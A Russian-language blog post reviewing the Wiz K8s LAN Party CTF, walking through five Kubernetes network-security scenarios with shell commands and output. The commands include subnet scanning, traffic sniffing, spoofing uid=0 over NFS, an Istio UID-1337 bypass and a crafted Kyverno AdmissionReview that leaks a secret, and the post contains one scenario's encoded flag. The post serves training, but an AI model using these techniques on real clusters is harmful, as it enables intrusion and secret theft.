Я продолжаю тестировать инструменты, которые помогают научиться защищать кластеры Kubernetes. На этот раз взглянем на продукт от разработчиков из компании Wiz Research — Kubernetes LAN Party, челлендж по выполнению CTF-сценариев. Выход инстру��ента был приурочен к прошедшей в марте этого года конференции KubeCon EMEA 2024.

В статье я расскажу, зачем нужен этот инструмент, а также пройду все сценарии, которые предлагает K8s LAN Party, и напишу свое мнение о том, насколько это классный инструмент и кому он будет полезен.
Не так давно я делал обзор Simulator — платформы для обучения инженеров безопасности Kubernetes с помощью CTF-сценариев.
Что такое K8s LAN Party и зачем он нужен
K8s LAN Party — это набор из пяти CTF-сценариев, в которых пользователю нужно найти уязвимости в кластере Kubernetes. Каждый сценарий посвящен проблемам сети Kubernetes, с которыми инженеры Wiz Research сталкивались в реальной практике. Инструмент поможет участникам углубить свои знания в области безопасности кластера Kubernetes: у них будет возможность встать на место злоумышленников и изучить ошибки в конфигурациях, что пригодится в работе.
В K8s LAN Party кластер уже развернут. Игроку нужно лишь выполнять команды в терминале прямо в браузере. А если пользователь зарегистрируется, его результат будет отражаться в общей таблице лидеров и после прохождения челленджа он получит сертификат об участии.
В K8s LAN Party следующие правила для выполнения заданий:
Выполнять сценарии можно в любом порядке.
Максимальный результат за выполнение задания — 10 баллов. Но еще можно воспользоваться двумя подсказками. За их использование с итогового результата будут сниматься баллы,
Флаги, которые нужно находить в каждом сценарии, имеют формат
wiz_k8s_lan_party{*}. Его нужно указать в поле ввода на странице задания:

После выбора задания появляется терминал, в котором нужно будет выполнить команды:

Разберём каждый сценарий: пойдём по порядку и начнём с Recon.
Сценарий №1: Recon
В этом сценарии мы попали в скомпрометированный под Kubernetes, где должны найти скрытые внутренние сервисы. Для выполнения задачи у нас есть утилита dnscan.
Для начала узнаем, в какой подсети мы находимся:
player@wiz-k8s-lan-party:~$ printenv HISTSIZE=2048 PWD=/home/player HOME=/home/player KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443 KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1 ...
IP-адрес нашего пода — 10.100.0.1. Выполним сканирование подсети 10.100.0.0/16:
player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.0.0/16 34997 / 65536 [--------------------------------------------------------------------->____________________________________________________________] 53.40% 982 p/s10.100.136.254 getflag-service.k8s-lan-party.svc.cluster.local. 65430 / 65536 [--------------------------------------------------------------------------------------------------------------------------------->] 99.84% 982 p/s10.100.136.254 -> getflag-service.k8s-lan-party.svc.cluster.local. 65536 / 65536 [---------------------------------------------------------------------------------------------------------------------------------] 100.00% 985 p/s
Утилита нашла сервис getflag-service. Выполним запрос к нему:
player@wiz-k8s-lan-party:~$ curl getflag-service.k8s-lan-party.svc.cluster.local wiz_k8s_lan_party{<flag>}
Мы нашли флаг. Указываем его в поле ввода на странице задания и получаем успех:

Сценарий №2: Finding neighbours
Авторы пишут, что в нашем окружении затаился sidecar-контейнер, который, возможно, передаёт какие-то чувствительные данные. Снова воспользуемся утилитой dnscan, может быть, она найдёт какие-нибудь дополнительные сервисы:
player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.0.0/16 43867 / 65536 [--------------------------------------------------------------------------------------->__________________________________________] 66.94% 984 p/s10.100.171.123 reporting-service.k8s-lan-party.svc.cluster.local. 65330 / 65536 [--------------------------------------------------------------------------------------------------------------------------------->] 99.69% 984 p/s10.100.171.123 -> reporting-service.k8s-lan-party.svc.cluster.local. 65528 / 65536 [--------------------------------------------------------------------------------------------------------------------------------->] 99.99% 984 p/splayer@wiz-k8s-lan-party:~$ curl reporting-service.k8s-lan-party.svc.cluster.local player@wiz-k8s-lan-party:~$
На этот раз curl к сервису нам ничего не дал. Прослушаем весь трафик, который ходит внутри пода и запишем его в дамп-файл:
player@wiz-k8s-lan-party:~$ tcpdump -s 0 -n -w dump.pcap tcpdump: listening on ns-c75457, link-type EN10MB (Ethernet), snapshot length 262144 bytes ^C28 packets captured 28 packets received by filter 0 packets dropped by kernel
Теперь поищем что-нибудь интересное в дампе. Мы знаем, что флаг, который мы ищем, должен называться wiz_k8s_lan_party:
player@wiz-k8s-lan-party:~$ tcpdump -r dump.pcap -A | grep wiz_k8s_lan_party reading from file dump.pcap, link-type EN10MB (Ethernet), snapshot length 262144 wiz_k8s_lan_party{<flag>} wiz_k8s_lan_party{<flag>}
Ещё один флаг найден. Не забываем скопировать его для выполнения задания и вставить в поле ввода на странице задания.
Сценарий №3: Data leakage
В данном сценарии используется система хранения данных, в которой контроль доступа является с��тевым. Видимо, к поду примонтирована NFS-шара. Проверим это:
player@wiz-k8s-lan-party:~$ df -h Filesystem Size Used Avail Use% Mounted on overlay 300G 24G 277G 8% / fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com:/ 8.0E 0 8.0E 0% /efs tmpfs 60G 12K 60G 1% /var/run/secrets/kubernetes.io/serviceaccount tmpfs 64M 0 64M 0% /dev/null
Действительно, к разделу /efs примонтирована NFS-шара. Что лежит в этой директории? Посмотрим:
player@wiz-k8s-lan-party:~$ ls -lah /efs total 8.0K drwxr-xr-x 2 root root 6.0K Mar 11 11:43 . drwxr-xr-x 1 player player 51 Mar 25 08:27 .. ---------- 1 daemon daemon 73 Mar 11 13:52 flag.txt player@wiz-k8s-lan-party:~$ cat /efs/flag.txt cat: /efs/flag.txt: Permission denied
Здесь лежит нужный нам флаг, однако у нас не хватает прав для его просмотра. Воспользуемся утилитой nfs-cat для просмотра содержимого файла: не забываем указать версию NFS, UID и GID:
player@wiz-k8s-lan-party:~$ nfs-cat "nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com//flag.txt?version=4&uid=0&gid=0" wiz_k8s_lan_party{<flag>}
Найден очередной флаг. Идём дальше.
Сценарий №4: Bypassing Boundaries
Описание задачи говорит, что в данном окружении используется service-mesh, а также применено ограничивающее правило Istio:
apiVersion: security.istio.io/v1beta1 kind: AuthorizationPolicy metadata: name: istio-get-flag namespace: k8s-lan-party spec: action: DENY selector: matchLabels: app: "{flag-pod-name}" rules: - from: - source: namespaces: ["k8s-lan-party"] to: - operation: methods: ["POST", "GET"]
Воспользуемся утилитой dnscan для поиска сервисов в данном окружении:
root@wiz-k8s-lan-party:~# dnscan -subnet 10.100.0.0/16 57388 / 65536 [----------------------------------------------------------------------------------------------------------------->________________] 87.57% 988 p/s10.100.224.159 istio-protected-pod-service.k8s-lan-party.svc.cluster.local. 65491 / 65536 [--------------------------------------------------------------------------------------------------------------------------------->] 99.93% 988 p/s10.100.224.159 -> istio-protected-pod-service.k8s-lan-party.svc.cluster.local. root@wiz-k8s-lan-party:~# curl istio-protected-pod-service.k8s-lan-party.svc.cluster.local RBAC: access denied
Найден сервис istio-protected-pod-service, однако попытка выполнить к нему запрос запрещена согласно политике Istio.
Здесь можно вспомнить одну интересную уязвимость Istio, о которой писали наши коллеги из Luntry. Благодаря этой уязвимости злоумышленнику, попавшему внутрь пода, в котором работает Istio sidecar, достаточно установить UID или GID, равный 1337. Это поможет обойти фильтрацию трафика Istio. Попробуем это сделать:
root@wiz-k8s-lan-party:~# su istio $ curl istio-protected-pod-service.k8s-lan-party.svc.cluster.local wiz_k8s_lan_party{<flag>}
Остался последний флаг.
Сценарий №5: Lateral movement
В окружении для данного сценария используется контроллер допуска Kyverno. Нам дают kyverno-политику, которая добавляет переменную FLAG в созданные поды в пространстве имён sensitive-ns:
apiVersion: kyverno.io/v1 kind: Policy metadata: name: apply-flag-to-env namespace: sensitive-ns spec: rules: - name: inject-env-vars match: resources: kinds: - Pod mutate: patchStrategicMerge: spec: containers: - name: "*" env: - name: FLAG value: "{flag}"
Попробуем создать какой-нибудь под. Опишем стандартный манифест для пода nginx и применим его в пространстве имён sensitive-ns:
apiVersion: v1 kind: Pod metadata: name: pod namespace: sensitive-ns spec: containers: - name: nginx image: nginx:latest ports: - containerPort: 80
К сожалению, у нас нет прав для создания подов в этом пространстве имён:
player@wiz-k8s-lan-party:~$ kubectl apply -f pod.yaml 2024/03/31 18:27:19 Starlark failed to allocate 4GB address space: cannot allocate memory. Integer performance may suffer. Error from server (Forbidden): error when retrieving current configuration of: Resource: "/v1, Resource=pods", GroupVersionKind: "/v1, Kind=Pod" Name: "pod", Namespace: "sensitive-ns" from server for: "pod.yaml": pods "pod" is forbidden: User "system:serviceaccount:k8s-lan-party:default" cannot get resource "pods" in API group "" in the namespace "sensitive-ns"
Кажется, пора воспользоваться подсказками. Это англоязычный проект, поэтому для статьи мы перевели их на русский язык:
Подсказка №1
Нужна помощь в составлении AdmissionReview-запросов? Воспользуйтесь https://github.com/anderseknert/kube-review
Подсказка №2
Это упражнение состоит из трех компонентов: имени хоста kyverno (можно найти с помощью dnscan), соответствующего HTTP-пути (можно посмотреть в исходном коде Kyverno) и запроса AdmissionReview.
Получается, нам нужно найти доступные службы kyverno. Просканируем сеть пода с помощью утилиты dnscan:
player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.0.0/16 10.100.86.210 -> kyverno-cleanup-controller.kyverno.svc.cluster.local. 10.100.126.98 -> kyverno-svc-metrics.kyverno.svc.cluster.local. 10.100.158.213 -> kyverno-reports-controller-metrics.kyverno.svc.cluster.local. 10.100.171.174 -> kyverno-background-controller-metrics.kyverno.svc.cluster.local. 10.100.217.223 -> kyverno-cleanup-controller-metrics.kyverno.svc.cluster.local. 10.100.232.19 -> kyverno-svc.kyverno.svc.cluster.local.
Нам нужно отправить запрос к сервису kyverno-svc.kyverno.svc.cluster.local, который создаст под и изменит его, добавив переменную согласно политике apply-flag-to-env. Для этого нужно создать AdmissionReview-запрос на эндпоинт /mutate, который вызовет mutating webhook.
Составляем конфиг для AdmissionReview в соответствии с документацией либо можем воспользоваться инструментом kube-review. Указываем обязательные поля, а также главное для нас в этой задаче — переменную FLAG, которую мы увидим после применения запроса:
{ "apiVersion": "admission.k8s.io/v1", "kind": "AdmissionReview", "request": { "kind": { "group": "", "version": "v1", "kind": "Pod" }, "resource": { "group": "", "version": "v1", "resource": "pods" }, "requestKind": { "group": "", "version": "v1", "kind": "Pod" }, "requestResource": { "group": "", "version": "v1", "resource": "pods" }, "namespace": "sensitive-ns", "operation": "CREATE", "object": { "apiVersion": "v1", "kind": "Pod", "metadata": { "name": "pod", "namespace": "sensitive-ns" }, "spec": { "containers": [ { "name": "nginx", "image": "nginx:latest", "env": [ { "name": "FLAG", "value": "{flag}" } ] } ] } } } }
Сделаем вызов к сервису kyverno:
player@wiz-k8s-lan-party:~$ curl -k -X POST https://kyverno-svc.kyverno.svc.cluster.local/mutate -H "Content-Type: application/json" --data '<json>'
В результате мы получили response, где в закодированном формате Base64 содержится интересующая нас информация:
"response": { "uid": "", "allowed": true, "patch": "W3sib3AiOiJyZXBsYWNlIiwicGF0aCI6Ii9zcGVjL2NvbnRhaW5lcnMvMC9lbnYvMC92YWx1ZSIsInZhbHVlIjoid2l6X2s4c19sYW5fcGFydHl7eW91LWFyZS1rOHMtbmV0LW1hc3Rlci13aXRoLWdyZWF0LXBvd2VyLXRvLW11dGF0ZS15b3VyLXdheS10by12aWN0b3J5fSJ9LCB7InBhdGgiOiIvbWV0YWRhdGEvYW5ub3RhdGlvbnMiLCJvcCI6ImFkZCIsInZhbHVlIjp7InBvbGljaWVzLmt5dmVybm8uaW8vbGFzdC1hcHBsaWVkLXBhdGNoZXMiOiJpbmplY3QtZW52LXZhcnMuYXBwbHktZmxhZy10by1lbnYua3l2ZXJuby5pbzogcmVwbGFjZWQgL3NwZWMvY29udGFpbmVycy8wL2Vudi8wL3ZhbHVlXG4ifX1d", "patchType": "JSONPatch" }
В этой строке содержится в том числе и наш флаг. Вставляем его в поле для ввода и завершаем наш сценарий.
Сервис поздравляет нас с прохождением, и теперь можно получить сертификат:


Итоги
По сравнению с Simulator, который мы обозревали ранее, K8s LAN Party проще по функциональности, так как это просто челлендж с ограниченным набором задач. Небольшие трудности могут возникнуть только на сценарии №5. При этом представленные задания были довольно интересными.
В первую очередь я рекомендую пройти K8s LAN Party начинающим инженерам, которые интересуются безопасностью кластеров Kubernetes. Но специалистам более высокого уровня тоже будет интересно поработать с представленными в сценариях уязвимостями.
P. S.
Читайте также в нашем блоге:
